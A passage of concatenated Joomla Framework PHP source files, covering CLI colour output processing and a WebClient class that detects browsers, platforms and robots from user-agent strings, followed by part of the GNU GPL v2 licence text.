	 * @return  void
	 *
	 * @since   1.0
	 * @codeCoverageIgnore
	 */
	abstract public function out($text = '', $nl = true);
}
<?php
/**
 * Part of the Joomla Framework Application Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Application\Cli;

use \Joomla\Application\Cli\Output\Processor\ColorProcessor as
RealColorProcessor;

/**
 * Class ColorProcessor.
 *
 * @since       1.0
 * @deprecated  2.0  Use the `joomla/console` package instead
 */
class ColorProcessor extends RealColorProcessor
{
}
<?php
/**
 * Part of the Joomla Framework Application Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Application\Cli;

/**
 * Class ColorStyle
 *
 * @since       1.0
 * @deprecated  2.0  Use the `joomla/console` package instead
 */
final class ColorStyle
{
	/**
	 * Known colors
	 *
	 * @var    array
	 * @since  1.0
	 */
	private static $knownColors = array(
		'black'   => 0,
		'red'     => 1,
		'green'   => 2,
		'yellow'  => 3,
		'blue'    => 4,
		'magenta' => 5,
		'cyan'    => 6,
		'white'   => 7,
	);

	/**
	 * Known styles
	 *
	 * @var    array
	 * @since  1.0
	 */
	private static $knownOptions = array(
		'bold'       => 1,
		'underscore' => 4,
		'blink'      => 5,
		'reverse'    => 7,
	);

	/**
	 * Foreground base value
	 *
	 * @var    integer
	 * @since  1.0
	 */
	private static $fgBase = 30;

	/**
	 * Background base value
	 *
	 * @var    integer
	 * @since  1.0
	 */
	private static $bgBase = 40;

	/**
	 * Foreground color
	 *
	 * @var    integer
	 * @since  1.0
	 */
	private $fgColor = 0;

	/**
	 * Background color
	 *
	 * @var    integer
	 * @since  1.0
	 */
	private $bgColor = 0;

	/**
	 * Array of style options
	 *
	 * @var    array
	 * @since  1.0
	 */
	private $options = array();

	/**
	 * Constructor
	 *
	 * @param   string  $fg       Foreground color.
	 * @param   string  $bg       Background color.
	 * @param   array   $options  Style options.
	 *
	 * @since   1.0
	 * @throws  \InvalidArgumentException
	 */
	public function __construct($fg = '', $bg = '',
$options = array())
	{
		if ($fg)
		{
			if (array_key_exists($fg, static::$knownColors) == false)
			{
				throw new \InvalidArgumentException(
					sprintf('Invalid foreground color "%1$s" [%2$s]',
						$fg,
						implode(', ', $this->getKnownColors())
					)
				);
			}

			$this->fgColor = static::$fgBase + static::$knownColors[$fg];
		}

		if ($bg)
		{
			if (array_key_exists($bg, static::$knownColors) == false)
			{
				throw new \InvalidArgumentException(
					sprintf('Invalid background color "%1$s" [%2$s]',
						$bg,
						implode(', ', $this->getKnownColors())
					)
				);
			}

			$this->bgColor = static::$bgBase + static::$knownColors[$bg];
		}

		foreach ($options as $option)
		{
			if (array_key_exists($option, static::$knownOptions) == false)
			{
				throw new \InvalidArgumentException(
					sprintf('Invalid option "%1$s" [%2$s]',
						$option,
						implode(', ', $this->getKnownOptions())
					)
				);
			}

			$this->options[] = $option;
		}
	}

	/**
	 * Convert to a string.
	 *
	 * @return  string
	 *
	 * @since   1.0
	 */
	public function __toString()
	{
		return $this->getStyle();
	}

	/**
	 * Create a color style from a parameter string.
	 *
	 * Example: fg=red;bg=blue;options=bold,blink
	 *
	 * @param   string  $string  The parameter string.
	 *
	 * @return  ColorStyle  Instance of $this to allow chaining.
	 *
	 * @since   1.0
	 * @throws  \RuntimeException
	 */
	public static function fromString($string)
	{
		$fg      = '';
		$bg      = '';
		$options = array();

		$parts = explode(';', $string);

		foreach ($parts as $part)
		{
			$subParts = explode('=', $part);

			if (\count($subParts) < 2)
			{
				continue;
			}

			switch ($subParts[0])
			{
				case 'fg':
					$fg = $subParts[1];

					break;

				case 'bg':
					$bg = $subParts[1];

					break;

				case 'options':
					$options = explode(',', $subParts[1]);

					break;

				default:
					throw new \RuntimeException('Invalid option');

					break;
			}
		}

		return new self($fg, $bg, $options);
	}

	/**
	 * Get the translated color code.
	 *
	 * @return  string
	 *
	 * @since   1.0
	 */
	public function getStyle()
	{
		$values = array();

		if ($this->fgColor)
		{
			$values[] = $this->fgColor;
		}

		if ($this->bgColor)
		{
			$values[] = $this->bgColor;
		}

		foreach ($this->options as $option)
		{
			$values[] = static::$knownOptions[$option];
		}

		return implode(';', $values);
	}

	/**
	 * Get the known colors.
	 *
	 * @return  string
	 *
	 * @since   1.0
	 */
	public function getKnownColors()
	{
		return array_keys(static::$knownColors);
	}

	/**
	 * Get the known options.
	 *
	 * @return  array
	 *
	 * @since   1.0
	 */
	public function getKnownOptions()
	{
		return array_keys(static::$knownOptions);
	}
}
<?php
/**
 * Part of the Joomla Framework Application Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Application\Cli\Output\Processor;

use Joomla\Application\Cli\ColorStyle;
use Joomla\Application\Cli\Output\Stdout;

/**
 * Class ColorProcessor.
 *
 * @since       1.0
 * @deprecated  2.0  Use the `joomla/console` package instead
 */
class ColorProcessor implements ProcessorInterface
{
	/**
	 * Flag to remove color codes from the output
	 *
	 * @var    boolean
	 * @since  1.0
	 */
	public $noColors = false;

	/**
	 * Regex to match tags
	 *
	 * @var    string
	 * @since  1.0
	 */
	protected $tagFilter =
'/<([a-z=;]+)>(.*?)<\/\\1>/s';

	/**
	 * Regex used for removing color codes
	 *
	 * @var    string
	 * @since  1.0
	 */
	protected static $stripFilter = '/<[\/]?[a-z=;]+>/';

	/**
	 * Array of ColorStyle objects
	 *
	 * @var    array
	 * @since  1.0
	 */
	protected $styles = array();

	/**
	 * Class constructor
	 *
	 * @param   boolean  $noColors  Defines non-colored mode on construct
	 *
	 * @since  1.1.0
	 */
	public function __construct($noColors = null)
	{
		if ($noColors === null)
		{
			/*
			 * By default windows cmd.exe and PowerShell does not support
ANSI-colored output
			 * if the variable is not set explicitly colors should be disabled on
Windows
			 */
			$noColors = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');
		}

		$this->noColors = $noColors;

		$this->addPredefinedStyles();
	}

	/**
	 * Add a style.
	 *
	 * @param   string      $name   The style name.
	 * @param   ColorStyle  $style  The color style.
	 *
	 * @return  ColorProcessor  Instance of $this to allow chaining.
	 *
	 * @since   1.0
	 */
	public function addStyle($name, ColorStyle $style)
	{
		$this->styles[$name] = $style;

		return $this;
	}

	/**
	 * Strip color tags from a string.
	 *
	 * @param   string  $string  The string.
	 *
	 * @return  string
	 *
	 * @since   1.0
	 */
	public static function stripColors($string)
	{
		return preg_replace(static::$stripFilter, '', $string);
	}

	/**
	 * Process a string.
	 *
	 * @param   string  $string  The string to process.
	 *
	 * @return  string
	 *
	 * @since   1.0
	 */
	public function process($string)
	{
		preg_match_all($this->tagFilter, $string, $matches);

		if (!$matches)
		{
			return $string;
		}

		foreach ($matches[0] as $i => $m)
		{
			if (array_key_exists($matches[1][$i], $this->styles))
			{
				$string = $this->replaceColors($string, $matches[1][$i],
$matches[2][$i], $this->styles[$matches[1][$i]]);
			}
			// Custom format
			elseif (strpos($matches[1][$i], '='))
			{
				$string = $this->replaceColors($string, $matches[1][$i],
$matches[2][$i], ColorStyle::fromString($matches[1][$i]));
			}
		}

		return $string;
	}

	/**
	 * Replace color tags in a string.
	 *
	 * @param   string      $text   The original text.
	 * @param   string      $tag    The matched tag.
	 * @param   string      $match  The match.
	 * @param   ColorStyle  $style  The color style to apply.
	 *
	 * @return  mixed
	 *
	 * @since   1.0
	 */
	private function replaceColors($text, $tag, $match, Colorstyle $style)
	{
		$replace = $this->noColors
			? $match
			: "\033[" . $style . 'm' . $match .
"\033[0m";

		return str_replace('<' . $tag . '>' . $match .
'</' . $tag . '>', $replace, $text);
	}

	/**
	 * Adds predefined color styles to the ColorProcessor object
	 *
	 * @return  Stdout  Instance of $this to allow chaining.
	 *
	 * @since   1.0
	 */
	private function addPredefinedStyles()
	{
		$this->addStyle(
			'info',
			new ColorStyle('green', '', array('bold'))
		);

		$this->addStyle(
			'comment',
			new ColorStyle('yellow', '',
array('bold'))
		);

		$this->addStyle(
			'question',
			new ColorStyle('black', 'cyan')
		);

		$this->addStyle(
			'error',
			new ColorStyle('white', 'red')
		);

		return $this;
	}
}
<?php
/**
 * Part of the Joomla Framework Application Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Application\Cli\Output\Processor;

/**
 * Class ProcessorInterface.
 *
 * @since       1.1.0
 * @deprecated  2.0  Use the `joomla/console` package instead
 */
interface ProcessorInterface
{
	/**
	 * Process the provided output into a string.
	 *
	 * @param   string  $output  The string to process.
	 *
	 * @return  string
	 *
	 * @since   1.1.0
	 */
	public function process($output);
}
<?php
/**
 * Part of the Joomla Framework Application Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Application\Cli\Output;

use Joomla\Application\Cli\CliOutput;

/**
 * Class Stdout.
 *
 * @since       1.0
 * @deprecated  2.0  Use the `joomla/console` package instead
 */
class Stdout extends CliOutput
{
	/**
	 * Write a string to standard output
	 *
	 * @param   string   $text  The text to display.
	 * @param   boolean  $nl    True (default) to append a new line at the end
of the output string.
	 *
	 * @return  Stdout  Instance of $this to allow chaining.
	 *
	 * @codeCoverageIgnore
	 * @since   1.0
	 */
	public function out($text = '', $nl = true)
	{
		fwrite(STDOUT, $this->getProcessor()->process($text) . ($nl ?
"\n" : null));

		return $this;
	}
}
<?php
/**
 * Part of the Joomla Framework Application Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Application\Cli\Output;

use Joomla\Application\Cli\CliOutput;

/**
 * Class Xml.
 *
 * @since       1.0
 * @deprecated  2.0  Use the `joomla/console` package instead
 */
class Xml extends CliOutput
{
	/**
	 * Write a string to standard output.
	 *
	 * @param   string   $text  The text to display.
	 * @param   boolean  $nl    True (default) to append a new line at the end
of the output string.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 * @throws  \RuntimeException
	 * @codeCoverageIgnore
	 */
	public function out($text = '', $nl = true)
	{
		fwrite(STDOUT, $text . ($nl ? "\n" : null));
	}
}
<?php
/**
 * Part of the Joomla Framework Application Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Application\Web;

/**
 * Class to model a Web Client.
 *
 * @property-read  integer  $platform        The detected platform on which
the web client runs.
 * @property-read  boolean  $mobile          True if the web client is a
mobile device.
 * @property-read  integer  $engine          The detected rendering engine
used by the web client.
 * @property-read  integer  $browser         The detected browser used by
the web client.
 * @property-read  string   $browserVersion  The detected browser version
used by the web client.
 * @property-read  array    $languages       The priority order detected
accepted languages for the client.
 * @property-read  array    $encodings       The priority order detected
accepted encodings for the client.
 * @property-read  string   $userAgent       The web client's user
agent string.
 * @property-read  string   $acceptEncoding  The web client's accepted
encoding string.
 * @property-read  string   $acceptLanguage  The web client's accepted
languages string.
 * @property-read  array    $detection       An array of flags determining
whether or not a detection routine has been run.
 * @property-read  boolean  $robot           True if the web client is a
robot
 * @property-read  array    $headers         An array of all headers sent
by client
 *
 * @since  1.0
 */
class WebClient
{
	const WINDOWS       = 1;
	const WINDOWS_PHONE = 2;
	const WINDOWS_CE    = 3;
	const IPHONE        = 4;
	const IPAD          = 5;
	const IPOD          = 6;
	const MAC           = 7;
	const BLACKBERRY    = 8;
	const ANDROID       = 9;
	const LINUX         = 10;
	const TRIDENT       = 11;
	const WEBKIT        = 12;
	const GECKO         = 13;
	const PRESTO        = 14;
	const KHTML         = 15;
	const AMAYA         = 16;
	const IE            = 17;
	const FIREFOX       = 18;
	const CHROME        = 19;
	const SAFARI        = 20;
	const OPERA         = 21;
	const ANDROIDTABLET = 22;
	const EDGE          = 23;
	const BLINK         = 24;
	const EDG           = 25;

	/**
	 * @var    integer  The detected platform on which the web client runs.
	 * @since  1.0
	 */
	protected $platform;

	/**
	 * @var    boolean  True if the web client is a mobile device.
	 * @since  1.0
	 */
	protected $mobile = false;

	/**
	 * @var    integer  The detected rendering engine used by the web client.
	 * @since  1.0
	 */
	protected $engine;

	/**
	 * @var    integer  The detected browser used by the web client.
	 * @since  1.0
	 */
	protected $browser;

	/**
	 * @var    string  The detected browser version used by the web client.
	 * @since  1.0
	 */
	protected $browserVersion;

	/**
	 * @var    array  The priority order detected accepted languages for the
client.
	 * @since  1.0
	 */
	protected $languages = array();

	/**
	 * @var    array  The priority order detected accepted encodings for the
client.
	 * @since  1.0
	 */
	protected $encodings = array();

	/**
	 * @var    string  The web client's user agent string.
	 * @since  1.0
	 */
	protected $userAgent;

	/**
	 * @var    string  The web client's accepted encoding string.
	 * @since  1.0
	 */
	protected $acceptEncoding;

	/**
	 * @var    string  The web client's accepted languages string.
	 * @since  1.0
	 */
	protected $acceptLanguage;

	/**
	 * @var    boolean  True if the web client is a robot.
	 * @since  1.0
	 */
	protected $robot = false;

	/**
	 * @var    array  An array of flags determining whether or not a detection
routine has been run.
	 * @since  1.0
	 */
	protected $detection = array();

	/**
	 * @var    array  An array of headers sent by client
	 * @since  1.3.0
	 */
	protected $headers;

	/**
	 * Class constructor.
	 *
	 * @param   string  $userAgent       The optional user-agent string to
parse.
	 * @param   string  $acceptEncoding  The optional client accept encoding
string to parse.
	 * @param   string  $acceptLanguage  The optional client accept language
string to parse.
	 *
	 * @since   1.0
	 */
	public function __construct($userAgent = null, $acceptEncoding = null,
$acceptLanguage = null)
	{
		// If no explicit user agent string was given attempt to use the implicit
one from server environment.
		if (empty($userAgent) &&
isset($_SERVER['HTTP_USER_AGENT']))
		{
			$this->userAgent = $_SERVER['HTTP_USER_AGENT'];
		}
		else
		{
			$this->userAgent = $userAgent;
		}

		// If no explicit acceptable encoding string was given attempt to use the
implicit one from server environment.
		if (empty($acceptEncoding) &&
isset($_SERVER['HTTP_ACCEPT_ENCODING']))
		{
			$this->acceptEncoding = $_SERVER['HTTP_ACCEPT_ENCODING'];
		}
		else
		{
			$this->acceptEncoding = $acceptEncoding;
		}

		// If no explicit acceptable languages string was given attempt to use
the implicit one from server environment.
		if (empty($acceptLanguage) &&
isset($_SERVER['HTTP_ACCEPT_LANGUAGE']))
		{
			$this->acceptLanguage = $_SERVER['HTTP_ACCEPT_LANGUAGE'];
		}
		else
		{
			$this->acceptLanguage = $acceptLanguage;
		}
	}

	/**
	 * Magic method to get an object property's value by name.
	 *
	 * @param   string  $name  Name of the property for which to return a
value.
	 *
	 * @return  mixed  The requested value if it exists.
	 *
	 * @since   1.0
	 */
	public function __get($name)
	{
		switch ($name)
		{
			case 'mobile':
			case 'platform':
				if (empty($this->detection['platform']))
				{
					$this->detectPlatform($this->userAgent);
				}

				break;

			case 'engine':
				if (empty($this->detection['engine']))
				{
					$this->detectEngine($this->userAgent);
				}

				break;

			case 'browser':
			case 'browserVersion':
				if (empty($this->detection['browser']))
				{
					$this->detectBrowser($this->userAgent);
				}

				break;

			case 'languages':
				if (empty($this->detection['acceptLanguage']))
				{
					$this->detectLanguage($this->acceptLanguage);
				}

				break;

			case 'encodings':
				if (empty($this->detection['acceptEncoding']))
				{
					$this->detectEncoding($this->acceptEncoding);
				}

				break;

			case 'robot':
				if (empty($this->detection['robot']))
				{
					$this->detectRobot($this->userAgent);
				}

				break;

			case 'headers':
				if (empty($this->detection['headers']))
				{
					$this->detectHeaders();
				}

				break;
		}

		// Return the property if it exists.
		if (isset($this->$name))
		{
			return $this->$name;
		}
	}

	/**
	 * Detects the client browser and version in a user agent string.
	 *
	 * @param   string  $userAgent  The user-agent string to parse.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	protected function detectBrowser($userAgent)
	{
		// Attempt to detect the browser type.  Obviously we are only worried
about major browsers.
		if ((stripos($userAgent, 'MSIE') !== false) &&
(stripos($userAgent, 'Opera') === false))
		{
			$this->browser  = self::IE;
			$patternBrowser = 'MSIE';
		}
		elseif (stripos($userAgent, 'Trident') !== false)
		{
			$this->browser  = self::IE;
			$patternBrowser = ' rv';
		}
		elseif (stripos($userAgent, 'Edge') !== false)
		{
			$this->browser  = self::EDGE;
			$patternBrowser = 'Edge';
		}
		elseif (stripos($userAgent, 'Edg') !== false)
		{
			$this->browser  = self::EDG;
			$patternBrowser = 'Edg';
		}
		elseif ((stripos($userAgent, 'Firefox') !== false) &&
(stripos($userAgent, 'like Firefox') === false))
		{
			$this->browser  = self::FIREFOX;
			$patternBrowser = 'Firefox';
		}
		elseif (stripos($userAgent, 'OPR') !== false)
		{
			$this->browser  = self::OPERA;
			$patternBrowser = 'OPR';
		}
		elseif (stripos($userAgent, 'Chrome') !== false)
		{
			$this->browser  = self::CHROME;
			$patternBrowser = 'Chrome';
		}
		elseif (stripos($userAgent, 'Safari') !== false)
		{
			$this->browser  = self::SAFARI;
			$patternBrowser = 'Safari';
		}
		elseif (stripos($userAgent, 'Opera') !== false)
		{
			$this->browser  = self::OPERA;
			$patternBrowser = 'Opera';
		}

		// If we detected a known browser let's attempt to determine the
version.
		if ($this->browser)
		{
			// Build the REGEX pattern to match the browser version string within
the user agent string.
			$pattern = '#(?<browser>Version|' . $patternBrowser .
')[/ :]+(?<version>[0-9.|a-zA-Z.]*)#';

			// Attempt to find version strings in the user agent string.
			$matches = array();

			if (preg_match_all($pattern, $userAgent, $matches))
			{
				// Do we have both a Version and browser match?
				if (\count($matches['browser']) == 2)
				{
					// See whether Version or browser came first, and use the number
accordingly.
					if (strripos($userAgent, 'Version') <
strripos($userAgent, $patternBrowser))
					{
						$this->browserVersion = $matches['version'][0];
					}
					else
					{
						$this->browserVersion = $matches['version'][1];
					}
				}
				elseif (\count($matches['browser']) > 2)
				{
					$key = array_search('Version',
$matches['browser']);

					if ($key)
					{
						$this->browserVersion = $matches['version'][$key];
					}
				}
				else
				{
					// We only have a Version or a browser so use what we have.
					$this->browserVersion = $matches['version'][0];
				}
			}
		}

		// Mark this detection routine as run.
		$this->detection['browser'] = true;
	}

	/**
	 * Method to detect the accepted response encoding by the client.
	 *
	 * @param   string  $acceptEncoding  The client accept encoding string to
parse.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	protected function detectEncoding($acceptEncoding)
	{
		// Parse the accepted encodings.
		$this->encodings = array_map('trim', (array)
explode(',', $acceptEncoding));

		// Mark this detection routine as run.
		$this->detection['acceptEncoding'] = true;
	}

	/**
	 * Detects the client rendering engine in a user agent string.
	 *
	 * @param   string  $userAgent  The user-agent string to parse.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	protected function detectEngine($userAgent)
	{
		if (stripos($userAgent, 'MSIE') !== false ||
stripos($userAgent, 'Trident') !== false)
		{
			// Attempt to detect the client engine -- starting with the most popular
... for now.
			$this->engine = self::TRIDENT;
		}
		elseif (stripos($userAgent, 'Edge') !== false ||
stripos($userAgent, 'EdgeHTML') !== false)
		{
			$this->engine = self::EDGE;
		}
		elseif (stripos($userAgent, 'Edg') !== false)
		{
			$this->engine = self::BLINK;
		}
		elseif (stripos($userAgent, 'Chrome') !== false)
		{
			$result  = explode('/', stristr($userAgent,
'Chrome'));
			$version = explode(' ', $result[1]);

			if ($version[0] >= 28)
			{
				$this->engine = self::BLINK;
			}
			else
			{
				$this->engine = self::WEBKIT;
			}
		}
		elseif (stripos($userAgent, 'AppleWebKit') !== false ||
stripos($userAgent, 'blackberry') !== false)
		{
			if (stripos($userAgent, 'AppleWebKit') !== false)
			{
				$result  = explode('/', stristr($userAgent,
'AppleWebKit'));
				$version = explode(' ', $result[1]);

				if ($version[0] === 537.36)
				{
					// AppleWebKit/537.36 is Blink engine specific, exception is Blink
emulated IEMobile, Trident or Edge
					$this->engine = self::BLINK;
				}
			}

			// Evidently blackberry uses WebKit and doesn't necessarily report
it.  Bad RIM.
			$this->engine = self::WEBKIT;
		}
		elseif (stripos($userAgent, 'Gecko') !== false &&
stripos($userAgent, 'like Gecko') === false)
		{
			// We have to check for like Gecko because some other browsers spoof
Gecko.
			$this->engine = self::GECKO;
		}
		elseif (stripos($userAgent, 'Opera') !== false ||
stripos($userAgent, 'Presto') !== false)
		{
			$version = false;

			if (preg_match('/Opera[\/| ]?([0-9.]+)/u', $userAgent,
$match))
			{
				$version = \floatval($match[1]);
			}

			if (preg_match('/Version\/([0-9.]+)/u', $userAgent, $match))
			{
				if (\floatval($match[1]) >= 10)
				{
					$version = \floatval($match[1]);
				}
			}

			if ($version !== false && $version >= 15)
			{
				$this->engine = self::BLINK;
			}
			else
			{
				$this->engine = self::PRESTO;
			}
		}
		elseif (stripos($userAgent, 'KHTML') !== false)
		{
			// *sigh*
			$this->engine = self::KHTML;
		}
		elseif (stripos($userAgent, 'Amaya') !== false)
		{
			// Lesser known engine but it finishes off the major list from Wikipedia
:-)
			$this->engine = self::AMAYA;
		}

		// Mark this detection routine as run.
		$this->detection['engine'] = true;
	}

	/**
	 * Method to detect the accepted languages by the client.
	 *
	 * @param   mixed  $acceptLanguage  The client accept language string to
parse.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	protected function detectLanguage($acceptLanguage)
	{
		// Parse the accepted encodings.
		$this->languages = array_map('trim', (array)
explode(',', $acceptLanguage));

		// Mark this detection routine as run.
		$this->detection['acceptLanguage'] = true;
	}

	/**
	 * Detects the client platform in a user agent string.
	 *
	 * @param   string  $userAgent  The user-agent string to parse.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	protected function detectPlatform($userAgent)
	{
		// Attempt to detect the client platform.
		if (stripos($userAgent, 'Windows') !== false)
		{
			$this->platform = self::WINDOWS;

			// Let's look at the specific mobile options in the Windows space.
			if (stripos($userAgent, 'Windows Phone') !== false)
			{
				$this->mobile   = true;
				$this->platform = self::WINDOWS_PHONE;
			}
			elseif (stripos($userAgent, 'Windows CE') !== false)
			{
				$this->mobile   = true;
				$this->platform = self::WINDOWS_CE;
			}
		}
		elseif (stripos($userAgent, 'iPhone') !== false)
		{
			// Interestingly 'iPhone' is present in all iOS devices so far
including iPad and iPods.
			$this->mobile   = true;
			$this->platform = self::IPHONE;

			// Let's look at the specific mobile options in the iOS space.
			if (stripos($userAgent, 'iPad') !== false)
			{
				$this->platform = self::IPAD;
			}
			elseif (stripos($userAgent, 'iPod') !== false)
			{
				$this->platform = self::IPOD;
			}
		}
		elseif (stripos($userAgent, 'iPad') !== false)
		{
			// In case where iPhone is not mentioed in iPad user agent string
			$this->mobile   = true;
			$this->platform = self::IPAD;
		}
		elseif (stripos($userAgent, 'iPod') !== false)
		{
			// In case where iPhone is not mentioed in iPod user agent string
			$this->mobile   = true;
			$this->platform = self::IPOD;
		}
		elseif (preg_match('/macintosh|mac os x/i', $userAgent))
		{
			// This has to come after the iPhone check because mac strings are also
present in iOS devices.
			$this->platform = self::MAC;
		}
		elseif (stripos($userAgent, 'Blackberry') !== false)
		{
			$this->mobile   = true;
			$this->platform = self::BLACKBERRY;
		}
		elseif (stripos($userAgent, 'Android') !== false)
		{
			$this->mobile   = true;
			$this->platform = self::ANDROID;
			/**
			 * Attempt to distinguish between Android phones and tablets
			 * There is no totally foolproof method but certain rules almost always
hold
			 *   Android 3.x is only used for tablets
			 *   Some devices and browsers encourage users to change their UA string
to include Tablet.
			 *   Google encourages manufacturers to exclude the string Mobile from
tablet device UA strings.
			 *   In some modes Kindle Android devices include the string Mobile but
they include the string Silk.
			 */
			if (stripos($userAgent, 'Android 3') !== false ||
stripos($userAgent, 'Tablet') !== false
				|| stripos($userAgent, 'Mobile') === false ||
stripos($userAgent, 'Silk') !== false)
			{
				$this->platform = self::ANDROIDTABLET;
			}
		}
		elseif (stripos($userAgent, 'Linux') !== false)
		{
			$this->platform = self::LINUX;
		}

		// Mark this detection routine as run.
		$this->detection['platform'] = true;
	}

	/**
	 * Determines if the browser is a robot or not.
	 *
	 * @param   string  $userAgent  The user-agent string to parse.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	protected function detectRobot($userAgent)
	{
		if
(preg_match('/http|bot|bingbot|googlebot|robot|spider|slurp|crawler|curl|^$/i',
$userAgent))
		{
			$this->robot = true;
		}
		else
		{
			$this->robot = false;
		}

		$this->detection['robot'] = true;
	}

	/**
	 * Fills internal array of headers
	 *
	 * @return  void
	 *
	 * @since   1.3.0
	 */
	protected function detectHeaders()
	{
		if (\function_exists('getallheaders'))
		{
			// If php is working under Apache, there is a special function
			$this->headers = getallheaders();
		}
		else
		{
			// Else we fill headers from $_SERVER variable
			$this->headers = array();

			foreach ($_SERVER as $name => $value)
			{
				if (substr($name, 0, 5) == 'HTTP_')
				{
					$this->headers[str_replace(' ', '-',
ucwords(strtolower(str_replace('_', ' ', substr($name,
5)))))] = $value;
				}
			}
		}

		// Mark this detection routine as run.
		$this->detection['headers'] = true;
	}
}
GNU GENERAL PUBLIC LICENSE
				Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

				Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.

  The precise terms and conditions for copying, distribution and
modification follow.

			GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as
"you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

	a) You must cause the modified files to carry prominent notices
	stating that you changed the files and the date of any change.

	b) You must cause any work that you distribute or publish, that in
	whole or in part contains or is derived from the Program or any
	part thereof, to be licensed as a whole at no charge to all third
	parties under the terms of this License.

	c) If the modified program normally reads commands interactively
	when run, you must cause it, when started running for such
	interactive use in the most ordinary way, to print or display an
	announcement including an appropriate copyright notice and a
	notice that there is no warranty (or else, saying that you provide
	a warranty) and that users may redistribute the program under
	these conditions, and telling the user how to view a copy of this
	License.  (Exception: if the Program itself is interactive but
	does not normally print such an announcement, your work based on
	the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

	a) Accompany it with the complete corresponding machine-readable
	source code, which must be distributed under the terms of Sections
	1 and 2 above on a medium customarily used for software interchange; or,

	b) Accompany it with a written offer, valid for at least three
	years, to give any third party, for a charge no more than your
	cost of physically performing source distribution, a complete
	machine-readable copy of the corresponding source code, to be
	distributed under the terms of Sections 1 and 2 above on a medium
	customarily used for software interchange; or,

	c) Accompany it with the information you received as to the offer
	to distribute corresponding source code.  (This alternative is
